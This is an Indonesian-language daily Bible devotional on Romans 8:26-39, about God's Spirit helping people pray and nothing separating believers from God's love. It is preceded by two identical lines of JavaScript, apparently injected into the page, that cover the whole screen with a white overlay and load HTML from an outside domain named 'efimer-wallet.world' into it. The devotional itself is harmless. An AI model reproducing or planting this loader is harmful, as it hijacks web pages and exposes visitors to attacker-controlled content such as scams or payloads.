const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Minggu, 30 Juli 2023
Roma 8 : 26 – 39
Pengantar
Pernahkah Saudara merasa ditinggalkan oleh Allah? Atau mendengar orang yang curhat karena merasa ditinggalkan Allah? Pada saat yang bagaimanakah perasaan semacam itu muncul? Hari ini kita akan merenungkan tentang pergumulan tersebut.
Pemahaman
ay. 26-30 : Mengapa Roh menolong kita dalam berdoa? Adakah keterkaitannya dengan pemilihan Allah atas diri kita?
ay. 31-39 : Apakah Saudara sependapat dengan pernyataan bahwa tidak ada sesuatupun yang dapat memisahkan diri kita dari kasih karunia Allah? Mengapa demikian?
Ketika mengalami berbagai pergumulan hidup, kita dapat tergagap-gagap untuk berdoa. Bahkan karena pikiran yang terlalu kalut, kita tidak mampu lagi berkata-kata di dalam doa sekalipun. Dalam situasi yang demikian ini, Roma 8:26 sangat menghibur kita. Sebab di dalamnya terkandung janji bahwa Roh Allah akan membantu kita untuk dapat berdoa kepada Allah dengan keluhan- keluhan yang tidak terucapkan. Hal itu dikarenakan ada Roh Allah yang diam di dalam diri kita. Itu sebabnya maka Allah yang menyelidiki hati nurani, mengetahui maksud Roh itu (ay. 27). Keberadaan Roh Allah dalam diri kita itu tidak terlepas dari status kita sebagai orang yang telah dipilih-Nya dari semula (ay. 29-30).
Dalam perikop selanjutnya Paulus menegaskan bahwa sebagai orang yang telah dipilih Allah, kita tidak akan pernah terpisah dari kasih karunia Allah itu. Sebab tidak ada suatu kekuatanpun yang mampu
memisahkan kita dari kasih Allah (ay. 38-39). Dan Allah sendiri juga tidak akan pernah membuang kita. Namun demikian, sebagai manusia kita dapat merasa ditinggalkan oleh Allah, karena mengalami berbagai pergumulan hidup. Terkait dengan hal ini melalui rasul Paulus Tuhan menegaskan bahwa Allah pasti memberikan yang terbaik, sebab Allah sudah rela mati di kayu salib. Itu sebabnya kita boleh yakin kalau Allah selalu berada bersama kita. Dan jika Allah berada di pihak kita, siapakah yang akan melawan kita? (ay. 31). Rasul Paulus sendiri telah merasakan hal itu, sekalipun ia mengalami berbagai penderitaan (ay. 35), pada akhirnya menjadi “lebih dari pada orang-orang yang menang”, sebab Allah bersama kita.
Refleksi
Pergumulan hidup kita tidak akan pernah mampu memaksa Allah meninggalkan kita. Allah terus akan menyertai kita. Bahkan ketika mengalami pergumulan berat yang membuat kita tidak tahu lagi harus berdoa seperti apa, Roh Allah yang diam di dalam diri kita akan menolong kita dalam berdoa.
Tekadku
Doa: Bapa surgawi, tolong saya untuk terus meyakini bahwa Engkau selalu bersama saya, dan menolong saya dalam mendoakan apa yang tidak mampu saya ucapkan dalam doa. Amin.
Tindakanku
Saya akan terus berdoa karena yakin bahwa Allah selalu bersama dengan saya.